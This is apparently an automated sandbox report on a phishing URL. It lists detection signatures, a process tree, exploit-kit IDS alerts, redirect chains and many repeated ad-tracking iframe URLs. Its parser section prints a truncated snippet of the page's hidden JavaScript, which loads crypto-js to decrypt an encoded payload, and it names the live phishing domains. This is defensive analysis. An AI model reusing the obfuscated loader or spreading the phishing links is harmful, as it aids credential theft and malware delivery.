Create Interactive Tour

Windows Analysis Report
https://alminifholding.com/res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f

Overview

General Information

Sample URL:	https://alminifholding.com/res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f
Analysis ID:	1551493
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

HTML page contains hidden javascript code

Invalid T&C link found

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Suspicious form URL found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5940 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1976 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=1844,i,10599702159094808919,4471622693110340504,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5384 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3956 --field-trial-handle=1844,i,10599702159094808919,4471622693110340504,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7104 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3096 --field-trial-handle=1844,i,10599702159094808919,4471622693110340504,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 892 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://alminifholding.com/res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Suricata Signatures

ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T19:32:47.806244+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.5	50134	104.18.36.155	443	TCP
2024-11-07T19:32:51.515027+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.5	50156	35.214.136.108	443	TCP

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Boot Survival

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://vzfk6vqaoyt1ogzrbn8cfpyijhdyeg3w9aipyubaquurdytz2nlu4zqaku.trantleamag.com/185777289918892963sHMCfkhtkMETWGBHWLASXSGJCNRCTBHTPPTDUUCNP

Avira URL Cloud: Label: phishing

Source: https://alminifholding.com/res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f

HTTP Parser: Base64 decoded: {"a":"aNwrFIxr9oeGKenQFHbLFwpRTIbxOKc39qDZJ1o7jnysZ\/AD4op+42PZcZCZGoD3msDH0ezMmJDghmHHPgsCBll7eT6rbqGcxYe6P5eyBndYOj9gB16047UV6a8Yy4budeWPLsS1lPFHX0eZcWSRQ6QBScitTMnbwp3hcwpHA48i4IV21x3c0zAnT7aqefhl72VZUEIr7haeehrE7U2wHvFE75QKNYYGXrOl0fDIdQrw7RtYJAeCol2M...

Source: https://www.etsy.com/	HTTP Parser: Invalid link: Privacy settings
Source: https://www.etsy.com/	HTTP Parser: Invalid link: Privacy settings
Source: https://www.etsy.com/	HTTP Parser: Invalid link: Privacy settings

Source: https://www.etsy.com/	HTTP Parser: Form action: /search.php
Source: https://www.etsy.com/	HTTP Parser: Form action: /search.php
Source: https://www.etsy.com/	HTTP Parser: Form action: /search.php

Source: https://alminifholding.com/res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f

HTTP Parser: var xfslblzuntnyzrtu = document.createelement("script");xfslblzuntnyzrtu.setattribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(xfslblzuntnyzrtu);xfslblzuntnyzrtu.onload=function(){var {a,b,c,d} = json.parse(atob("eyjhijoiyu53ckzjehi5b2vhs2vuuuziykxgd3bsveliee9lyzm5curasjfvn2puexnaxc9brdrvccs0mlbay1pdwkdvrdntc0rimgv6tw1krgdobuhiugdzq0jsbddlvdzyynfhy3hzztzqnwv5qm5kwu9qowdcmtywnddvvjzhofl5ngj1zgvxuexzuzfsueziwdblwmnxu1jrnlfcu2npdfrnbmj3cdnoy3dwsee0ogk0svyymxgzyzb6qw5un2fxzwzobdcyvlpvrulyn2hhzwvocku3vtj3shzgrtc1uutowvlhwhjpbdbmrelkuxj3n1j0wupbzunvbdjnaedrthvtvxb5nlz3rmpwwudebthhsuj2nzzttlg1nnuymvi2ylrxywtvttvovklvqxpiuujcl0sysklun2p4ndlru3pidte0cldyv2dxcfk5ymfjbug1n0xhwjg1n2jvkzzrelfqrkhtz1q0de9dtvhyazjhcnrwzjv5zwjozgz6rnbeqzmwbmvqdwvscxhkumpky1qrxc95chzhcml1vnnwzen2cky3mtfmagswtejznkjzsg9stkrpmzrqdmtwnuhnoutzrhp3auzrdhcyu3l6u1brd0pclzzsmhrlyte3t0rdzlrha1niylleahzltndomkc3y2lqq0u4rfhhcitfatdtcfbituvrrdfvynfpmxbxk1vlrhfvs2xpvmvoctljwm5nd3ljbhiragvos...

Source: https://www.etsy.com/	HTTP Parser: Iframe src: //www.googletagmanager.com/ns.html?id=GTM-KWW5SS
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/658194373?random=1731004357425&cv=11&fst=1731004357425&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4au0v870186735z86935543za201zb6935543&gcs=G111&gcd=13t3t3t3t5l1&dma=0&tag_exp=101823848~101925629&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.etsy.com%2F&ref=https%3A%2F%2Frh.capriciou.com%2F&label=XwNfCLSf5dkDEMX_7LkC&hn=www.googleadservices.com&frm=0&tiba=Etsy%20-%20Shop%20for%20handmade%2C%20vintage%2C%20custom%2C%20and%20unique%20gifts%20for%20everyone&value=0&bttype=purchase&npa=0&pscdl=noapi&auid=1464974207.1731004355&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=ads_data_redaction%3Dfalse&ct_cookie_present=0
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://8666735.fls.doubleclick.net/activityi;src=8666735;type=count0;cat=etsy_00;ord=1;num=5090889059420;npa=0;auiddc=1464974207.1731004355;u2=hEdBI7-O791PgbbYBOz7wX81KdmN;ps=1;pcor=879015002;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F?
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=8666735;type=count0;cat=etsy_00;ord=1;num=5090889059420;npa=0;auiddc=1464974207.1731004355;u2=hEdBI7-O791PgbbYBOz7wX81KdmN;ps=1;pcor=879015002;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F?
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://8666735.fls.doubleclick.net/activityi;src=8666735;type=count0;cat=etsy_000;ord=1;num=3832492745913;npa=0;auiddc=1464974207.1731004355;ps=1;pcor=1299258770;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F?
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=8666735;type=count0;cat=etsy_000;ord=1;num=3832492745913;npa=0;auiddc=1464974207.1731004355;ps=1;pcor=1299258770;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F?
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/ga/rul?tid=G-KR3J610VYM&gacid=1731730657.1731004358&gtm=45je4au0v868381678z86935543za200zb6935543&dma=0&gcs=G111&gcd=13t3t3t3t5l1&npa=0&pscdl=noapi&aip=1&fledge=1&frm=0&tag_exp=101823848~101925629&z=1205360004
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://9910951.fls.doubleclick.net/activityi;src=9910951;type=remarkt;cat=unive0;ord=7315919748514;npa=0;auiddc=1464974207.1731004355;u2=%2F;u3=undefined;ps=1;pcor=366266826;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9190758491z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F?
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=9910951;type=remarkt;cat=unive0;ord=7315919748514;npa=0;auiddc=1464974207.1731004355;u2=%2F;u3=undefined;ps=1;pcor=366266826;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9190758491z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F?
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/995917074?random=1731004358973&cv=11&fst=1731004358973&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4au0v883287104z86935543za201zb6935543&gcd=13t3t3t3t5l1&dma=0&tag_exp=101823848~101925629&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.etsy.com%2F&ref=https%3A%2F%2Frh.capriciou.com%2F&hn=www.googleadservices.com&frm=0&tiba=Etsy%20-%20Shop%20for%20handmade%2C%20vintage%2C%20custom%2C%20and%20unique%20gifts%20for%20everyone&npa=0&pscdl=noapi&auid=1464974207.1731004355&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=ecomm_prodid%3D%3Becomm_pagetype%3Dhome%3Becomm_totalvalue%3D%3Becomm_rec_prodid%3D%3Becomm_category%3D%3Becomm_pvalue%3D%3Becomm_quantity%3D%3Ba%3D%3Bg%3D%3Bhasaccount%3Dfalse%3Bcqs%3D%3Brp%3D%3Bly%3D%3Bhs%3D%3B_google_crm_id%3D%3Bads_data_redaction%3Dfalse
Source: https://www.etsy.com/	HTTP Parser: Iframe src: //www.googletagmanager.com/ns.html?id=GTM-KWW5SS
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/658194373?random=1731004357425&cv=11&fst=1731004357425&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4au0v870186735z86935543za201zb6935543&gcs=G111&gcd=13t3t3t3t5l1&dma=0&tag_exp=101823848~101925629&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.etsy.com%2F&ref=https%3A%2F%2Frh.capriciou.com%2F&label=XwNfCLSf5dkDEMX_7LkC&hn=www.googleadservices.com&frm=0&tiba=Etsy%20-%20Shop%20for%20handmade%2C%20vintage%2C%20custom%2C%20and%20unique%20gifts%20for%20everyone&value=0&bttype=purchase&npa=0&pscdl=noapi&auid=1464974207.1731004355&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=ads_data_redaction%3Dfalse&ct_cookie_present=0
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://8666735.fls.doubleclick.net/activityi;src=8666735;type=count0;cat=etsy_00;ord=1;num=5090889059420;npa=0;auiddc=1464974207.1731004355;u2=hEdBI7-O791PgbbYBOz7wX81KdmN;ps=1;pcor=879015002;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F?
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=8666735;type=count0;cat=etsy_00;ord=1;num=5090889059420;npa=0;auiddc=1464974207.1731004355;u2=hEdBI7-O791PgbbYBOz7wX81KdmN;ps=1;pcor=879015002;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F?
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://8666735.fls.doubleclick.net/activityi;src=8666735;type=count0;cat=etsy_000;ord=1;num=3832492745913;npa=0;auiddc=1464974207.1731004355;ps=1;pcor=1299258770;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F?
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=8666735;type=count0;cat=etsy_000;ord=1;num=3832492745913;npa=0;auiddc=1464974207.1731004355;ps=1;pcor=1299258770;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F?
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/ga/rul?tid=G-KR3J610VYM&gacid=1731730657.1731004358&gtm=45je4au0v868381678z86935543za200zb6935543&dma=0&gcs=G111&gcd=13t3t3t3t5l1&npa=0&pscdl=noapi&aip=1&fledge=1&frm=0&tag_exp=101823848~101925629&z=1205360004
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://9910951.fls.doubleclick.net/activityi;src=9910951;type=remarkt;cat=unive0;ord=7315919748514;npa=0;auiddc=1464974207.1731004355;u2=%2F;u3=undefined;ps=1;pcor=366266826;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9190758491z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F?
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=9910951;type=remarkt;cat=unive0;ord=7315919748514;npa=0;auiddc=1464974207.1731004355;u2=%2F;u3=undefined;ps=1;pcor=366266826;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9190758491z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F?
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/995917074?random=1731004358973&cv=11&fst=1731004358973&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4au0v883287104z86935543za201zb6935543&gcd=13t3t3t3t5l1&dma=0&tag_exp=101823848~101925629&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.etsy.com%2F&ref=https%3A%2F%2Frh.capriciou.com%2F&hn=www.googleadservices.com&frm=0&tiba=Etsy%20-%20Shop%20for%20handmade%2C%20vintage%2C%20custom%2C%20and%20unique%20gifts%20for%20everyone&npa=0&pscdl=noapi&auid=1464974207.1731004355&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=ecomm_prodid%3D%3Becomm_pagetype%3Dhome%3Becomm_totalvalue%3D%3Becomm_rec_prodid%3D%3Becomm_category%3D%3Becomm_pvalue%3D%3Becomm_quantity%3D%3Ba%3D%3Bg%3D%3Bhasaccount%3Dfalse%3Bcqs%3D%3Brp%3D%3Bly%3D%3Bhs%3D%3B_google_crm_id%3D%3Bads_data_redaction%3Dfalse
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://ct.pinterest.com/ct.html
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://d.agkn.com/iframe/10898/?che=1731004351&gauid=1731730657.1731004358
Source: https://www.etsy.com/	HTTP Parser: Iframe src: //www.googletagmanager.com/ns.html?id=GTM-KWW5SS
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/658194373?random=1731004357425&cv=11&fst=1731004357425&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4au0v870186735z86935543za201zb6935543&gcs=G111&gcd=13t3t3t3t5l1&dma=0&tag_exp=101823848~101925629&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.etsy.com%2F&ref=https%3A%2F%2Frh.capriciou.com%2F&label=XwNfCLSf5dkDEMX_7LkC&hn=www.googleadservices.com&frm=0&tiba=Etsy%20-%20Shop%20for%20handmade%2C%20vintage%2C%20custom%2C%20and%20unique%20gifts%20for%20everyone&value=0&bttype=purchase&npa=0&pscdl=noapi&auid=1464974207.1731004355&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=ads_data_redaction%3Dfalse&ct_cookie_present=0
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://8666735.fls.doubleclick.net/activityi;src=8666735;type=count0;cat=etsy_00;ord=1;num=5090889059420;npa=0;auiddc=1464974207.1731004355;u2=hEdBI7-O791PgbbYBOz7wX81KdmN;ps=1;pcor=879015002;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F?
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=8666735;type=count0;cat=etsy_00;ord=1;num=5090889059420;npa=0;auiddc=1464974207.1731004355;u2=hEdBI7-O791PgbbYBOz7wX81KdmN;ps=1;pcor=879015002;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F?
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://8666735.fls.doubleclick.net/activityi;src=8666735;type=count0;cat=etsy_000;ord=1;num=3832492745913;npa=0;auiddc=1464974207.1731004355;ps=1;pcor=1299258770;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F?
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=8666735;type=count0;cat=etsy_000;ord=1;num=3832492745913;npa=0;auiddc=1464974207.1731004355;ps=1;pcor=1299258770;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F?
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/ga/rul?tid=G-KR3J610VYM&gacid=1731730657.1731004358&gtm=45je4au0v868381678z86935543za200zb6935543&dma=0&gcs=G111&gcd=13t3t3t3t5l1&npa=0&pscdl=noapi&aip=1&fledge=1&frm=0&tag_exp=101823848~101925629&z=1205360004
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://9910951.fls.doubleclick.net/activityi;src=9910951;type=remarkt;cat=unive0;ord=7315919748514;npa=0;auiddc=1464974207.1731004355;u2=%2F;u3=undefined;ps=1;pcor=366266826;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9190758491z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F?
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=9910951;type=remarkt;cat=unive0;ord=7315919748514;npa=0;auiddc=1464974207.1731004355;u2=%2F;u3=undefined;ps=1;pcor=366266826;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9190758491z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F?
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/995917074?random=1731004358973&cv=11&fst=1731004358973&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4au0v883287104z86935543za201zb6935543&gcd=13t3t3t3t5l1&dma=0&tag_exp=101823848~101925629&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.etsy.com%2F&ref=https%3A%2F%2Frh.capriciou.com%2F&hn=www.googleadservices.com&frm=0&tiba=Etsy%20-%20Shop%20for%20handmade%2C%20vintage%2C%20custom%2C%20and%20unique%20gifts%20for%20everyone&npa=0&pscdl=noapi&auid=1464974207.1731004355&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=ecomm_prodid%3D%3Becomm_pagetype%3Dhome%3Becomm_totalvalue%3D%3Becomm_rec_prodid%3D%3Becomm_category%3D%3Becomm_pvalue%3D%3Becomm_quantity%3D%3Ba%3D%3Bg%3D%3Bhasaccount%3Dfalse%3Bcqs%3D%3Brp%3D%3Bly%3D%3Bhs%3D%3B_google_crm_id%3D%3Bads_data_redaction%3Dfalse
Source: https://www.etsy.com/	HTTP Parser: Iframe src: https://d.agkn.com/iframe/10898/?che=1731004351&gauid=1731730657.1731004358

Source: https://alminifholding.com/res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f	HTTP Parser: No favicon
Source: https://rh.capriciou.com/ZhZW/	HTTP Parser: No favicon
Source: https://www.etsy.com/	HTTP Parser: No favicon
Source: https://www.etsy.com/	HTTP Parser: No favicon
Source: https://www.etsy.com/	HTTP Parser: No favicon
Source: https://www.etsy.com/	HTTP Parser: No favicon
Source: https://www.etsy.com/	HTTP Parser: No favicon
Source: https://www.etsy.com/	HTTP Parser: No favicon
Source: https://www.etsy.com/	HTTP Parser: No favicon
Source: https://www.etsy.com/	HTTP Parser: No favicon
Source: https://www.etsy.com/	HTTP Parser: No favicon

Source: https://www.etsy.com/	HTTP Parser: No <meta name="author".. found
Source: https://www.etsy.com/	HTTP Parser: No <meta name="author".. found
Source: https://www.etsy.com/	HTTP Parser: No <meta name="author".. found

Source: https://www.etsy.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.etsy.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.etsy.com/	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50227 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50228 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50230 version: TLS 1.2

Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.5:50134 -> 104.18.36.155:443
